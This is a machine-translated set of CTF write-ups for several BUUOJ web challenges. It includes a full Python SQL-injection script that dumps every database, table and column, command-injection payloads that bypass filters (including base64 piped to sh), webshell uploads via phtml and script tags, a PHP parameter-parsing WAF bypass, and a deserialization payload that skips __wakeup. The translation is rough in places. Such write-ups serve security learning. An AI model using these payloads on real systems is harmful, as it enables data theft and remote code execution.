[geek challenge 2019]LoveSQL
Try the universal password first and go straight in Then try
?username=1' order by 3#&password=1
But I couldn't do it anyway. Later, I found that it was because the # number couldn't be transmitted, so I changed it to% 23 (# url code) Then try
username=1' order by 3%23&password=1 username=1' order by 4%23&password=1 username=1' union select 1,2,3%23&password=1
Then, as shown in the figure, you can see which columns correspond to the control
Then try
?username=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23&password=1
(it's a little overlapped, but it doesn't matter. The script will be directly explained later)
Then I was happy. Isn't this the first question of sqli lab? The script written before the change was just a shuttle, and the pants were marked out for it (there are quite a lot of things. Fortunately, I wrote dichotomy injection, otherwise I really have to run for half a day)
Post exp below (just make do, the script can be used)
# coding=utf-8 import requests from urllib import parse import sys from bs4 import BeautifulSoup # url = "http://www.sqlstudy.com/sqlstudy/Less-1" url = "http://bdf1ece7-7214-451c-8f5c-8c52f83a8134.node4.buuoj.cn:81/check.php" def CheckStatus(r_text): if "Hello" in r_text: return 1 else: return 0 def PrintNameAndPswd(res_text): # pos_name = res_text.index("Your Login name:") pos_name = res_text.index("Hello ") pos_name_move = pos_name # pos_pswd = res_text.index("Your Password:", pos_name) pos_pswd = res_text.index("Your password is", pos_name) pos_pswd_move = pos_pswd str_name = '' str_pswd = '' while res_text[pos_name_move] != '<': pos_name_move += 1 str_name = res_text[pos_name : pos_name_move] while res_text[pos_pswd_move] != '<': pos_pswd_move += 1 str_pswd = res_text[pos_pswd : pos_pswd_move] # print (str_name + '\n' + str_pswd) # print(str_name) return str_name def GetColumnsNum(): left = 1 right = 20 mid = (left + right) // 2 while left <= right: payload = "username=1' order by {}%23&password=1".format(mid) res = requests.get(url = url , params = payload) # print(parse.unquote(res.url)) res_text = res.text if CheckStatus(res_text): # PrintNameAndPswd(res_text , pos_name , pos_pswd) left = mid + 1 else: right = mid - 1 mid = (right + left) // 2 return mid def HowItContrl(columnsnum): # Your Login name:2 # Your Password:3 payload = "username=-1' union select " for i in range(1 , columnsnum + 1): payload = payload + "{},".format(i) res = requests.get(url=url , params=payload.strip(",") + '%23&password=1') res_text = res.text if CheckStatus(res_text): PrintNameAndPswd(res_text) def GetAllDatabase(): payload = "username=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23&password=1" res = requests.get(url=url, params=payload) # print(parse.unquote(res.url)) res_text = res.text # print(res_text) if (CheckStatus(res_text)): return PrintNameAndPswd(res_text) def WhereAmI(): payload = "username=-1' union select 1,database(),3%23&password=1" res = requests.get(url=url, params=payload) # print(parse.unquote(res.url)) res_text = res.text if (CheckStatus(res_text)): MyPosition = PrintNameAndPswd(res_text) return MyPosition[MyPosition.index("Hello") + 6 : -1 ] def GetTableName(DatabaseName): payload = "username=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=\"{}\"%23&password=1".format(DatabaseName) res = requests.get(url=url, params=payload) # print(parse.unquote(res.url)) res_text = res.text if (CheckStatus(res_text)): TableName = PrintNameAndPswd(res_text) TableName = TableName[TableName.index("Hello") + 6 : -1].split(",") return TableName def GetColumnName(TableName): payload = "username=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='{}' %23&password=1".format(TableName) res = requests.get(url=url, params=payload) # print(parse.unquote(res.url)) res_text = res.text if (CheckStatus(res_text)): ColumnName = PrintNameAndPswd(res_text) ColumnName = ColumnName[ColumnName.index("Hello") + 6 : -1].split(",") return ColumnName def GetDetails(DatabaseName , TableName , ColumnName): payload = "username=-1' union select 1,group_concat({}),3 from {}.{} %23&password=1".format(ColumnName , DatabaseName , TableName) res = requests.get(url=url, params=payload) # print(parse.unquote(res.url)) res_text = res.text if (CheckStatus(res_text)): Details = PrintNameAndPswd(res_text) Details = Details[Details.index("Hello") + 6 : -1].split(",") return Details if __name__ == "__main__" : with open('sqli-lab1.txt' , 'w') as f: columnsnum = GetColumnsNum() f.write("column_number = " + str(columnsnum) + '\n') # HowItContrl(columnsnum) DatabaseName = GetAllDatabase() DatabaseName = DatabaseName[DatabaseName.index("Hello") + 6 : -1].split(",") # print(DatabaseName) MyPosition = WhereAmI() f.write("You are in : " + MyPosition + '\n') for i in range(0,len(DatabaseName)): f.write("DatabaseName : " + DatabaseName[i] + '\n') TableName = [] TableName = GetTableName(DatabaseName[i]) # print(TableName) if 'NoneType' in str(type(TableName)): continue for j in range(0,len(TableName)): f.write("--TableName : " + TableName[j] + '\n') ColumnName = [] ColumnName = GetColumnName(TableName[j]) # print(ColumnName) if 'NoneType' in str(type(ColumnName)): continue for k in range(0, len(ColumnName)): f.write("----ColumnName : " + ColumnName[k] + '\n') Details = [] Details = GetDetails(DatabaseName[i] , TableName[j] , ColumnName[k]) # print(type(Details)) Details_type = str(type(Details)) if not "NoneType" in Details_type: for l in range(0,len(Details)): f.write("------Details : " + Details[l] + '\n') if l == len(Details) - 1: f.write("\n---------------------------------------------------------------\n\n") else: f.write("--------Details : NULL \n")
Therefore, it is necessary to develop the good habit of collecting scripts 🤔
[GXYCTF2019]Ping Ping Ping
Combined with the title, think of ping
First try /? ip=127.0.0.1;ls, you can see index. Ls in the directory PHP and flag PHP, try cat flag PHP, found that spaces are filtered
Bypass space filtering:
${IFS} $IFS$9 // It doesn't matter what the numbers in the back change $IFS < <> , %20 %09
The above are some common ways to bypass space filtering, but this question also filters some special characters, and finally chooses $IFS
flag filtering bypass:
So use cat $IFS $1flag PHP, of course, the flag is filtered. Try to open index PHP, see the filtering rules
So if f l a g does not appear at the same time, find three solutions
Party I:
See that a is a controllable variable, so
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
Party II:
When bash is filtered, use sh
?ip=1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Third party:
Inline (using backquotes), give priority to executing commands within backquotes, and execute the results as statements in the outer layer
?ip=1|cat$IFS$1`ls`
PS: there is a pit. The flag can only be seen in the source code. It won't be output. At that time, I had been looking for it for a long time
[geek challenge 2019]Knife
When I opened the screen and saw this, didn't the ant sword shuttle in a row
The shuttle is gone
[geek challenge 2019]Http
Casually find the previous example, change the latter part into the target, and then go to the first page (maybe I did the previous question too fast?)
Find secrect in burpsuite PHP, look inside the browser
A glance at referer
A glance at user agent
A glance xff
Cut it
[geek challenge 2019]Upload
Try to pass the picture horse and find <? Fi lt ered, even XOR deformation has to be <?, We can't get around with our existing knowledge, so Google Hack
php tags in HTML:
- XML style:
<?php /* php code */ ?>
It is enabled by default and cannot be disabled
- Short style
<? /* php code */ ?>
Need to be in the configuration file PHP Enable short in ini_ open_ Tag option
- ASP style
<% /* php code */ %>
ASP needs to be enabled in the configuration settings_ Tags option, but it is no longer supported in php7
- SCRIPT style
<script language="php"> /* php code */ </script>
php7 is no longer supported
Try to use <%% >, and then find that the content type and file header to be detected are changed. After that, it is found that php is the keyword filtered. Use it according to the wp of the masters Phtml (then I don't know why. png is not a picture, so it can be transmitted by changing. jpg)
As shown in the figure above, it is found that it is not parsed, which means <% can't be done. Try script
That's it. The ant sword is over
[ACTF2020 freshman competition] Upload
Many don't say, first try to pass a conventional one sentence Trojan horse, and find that php has been filtered Combined with the above, try to use phtml. Then, er Er Er came out with phpinfo. Even the ant sword turned the directory, shuttle! (looking back at the title, it turned out to be the freshman competition. No wonder it's so simple)
[RoarCTF 2019]Easy Calc
It seems that you can't get anything useful by injecting at a glance and fuzz ing first
Look, there is such a paragraph in the source code
<!--I've set up WAF to ensure security.--> <script> $('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>answer:</strong>${data} </div>`); }, error:function(){ alert("What is this?can't calculate sth.!"); } }) return false; }) </script>
As soon as you see that data is a controllable variable, you think about how to inject it. Then you find a calc.php. Go in and see the source code
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
The last sentence is exciting, $str is a controllable variable with eval. Isn't it directly executable? But if you want to bypass it, you have to understand some string features in php
Characteristics of strings in php
Quote a master's explanation:
In the process of parsing the query string, some characters will be deleted or replaced with underscores For example, /?% 20news[id%00=42 will be converted to array ([news_id] = > 42) If an IDS/IPS or WAF has a rule when news_ If the value of the ID parameter is a non numeric value, it is intercepted. Then we can bypass it with the following statement:
/news.php?%20news[id%00=42"+AND+1=0--
The value of the parameter% 20news[id%00 of the above PHP statement will be stored in $_GET["news_id"]
PHP needs to convert all parameters to valid variable names, so when parsing query strings, it does two things:
-
Delete whitespace
-
Convert some characters to underscores (including spaces)
Simply put,% 20num in waf= Num, but after php preprocessing, "% 20" (i.e. space) will be deleted. At this time, it will become num, which will be executed in php statement We can use this to bypass, that is, use?% when passing parameters 20num=
There are pictures as evidence
Then use var_dump and scanner functions. The ASCII code of / is 47. Scanner (/) scans the root directory, as shown in the figure
Found that there is a f1agg, the same idea, all need to use chr() Splice
scandir(/f1agg) is not found successfully, which indicates that it is not a directory but a file, so use file_ get_ Just read contents (record a pit. It turns out that f is followed by 1 instead of l, so I can't read it)
[geek challenge 2019]PHP (learn about deserialization systematically)
First download www.zip (guess, normal thinking may need to use dirsearch to scan), which has index php class. PHP and fake flag php
index.php is as follows
<!DOCTYPE html> <head> <meta charset="UTF-8"> <title>I have a cat!</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"> <link rel="stylesheet" href="style.css"> </head> <style> #login{ position: absolute; top: 50%; left:50%; margin: -150px 0 0 -150px; width: 300px; height: 300px; } h4{ font-size: 2em; margin: 0.67em 0; } </style> <body> <div id="world"> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">Because every time the cat jumps on my keyboard, I have a good habit of backing up the website </div> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">Worthy of being me!!! </div> <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;"> <?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?> </div> <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div> </div> <script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script> <script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script> <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script> <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script> <script src="index.js"></script> </body> </html>
See an include 'class PHP ', then take a look at class PHP content bar
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
Obviously, a deserialization problem requires username = admin password = 100, but I've seen the theoretical knowledge before and haven't played this problem, so I have to look at the wp reproduction of the masters and record the general ideas and steps of deserialization
Problem solving steps
Construct serialization
First create the target sequence
<?php class Name { private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a = new Name('admin' , 100); var_dump(serialize($a)); ?>
Output:
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
This is our target sequence
Bypass__ wakeup()
Because__ wakeup() will reassign our sequence, so we have to bypass it A very simple way to bypass is to bypass when the number of elements in the sequence is greater than the actual number You can change the 2 after "Name" to any number larger than it, that is
string(77) "O:4:"Name":5:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
In addition, because the sequence is a private attribute, you need to add% 00 before the class name and field name (% 00 is a character, so it is only a length). However, the number does not need to be changed, because it has been counted in at the time of output, but it has not been printed out, so it is changed to
string(77) "O:4:"Name":5:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}"
payload:
?select=O:4:"Name":5:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
ps: I'm blind again. I type select as secret, and I say why my payload can't make a flag all the time 😠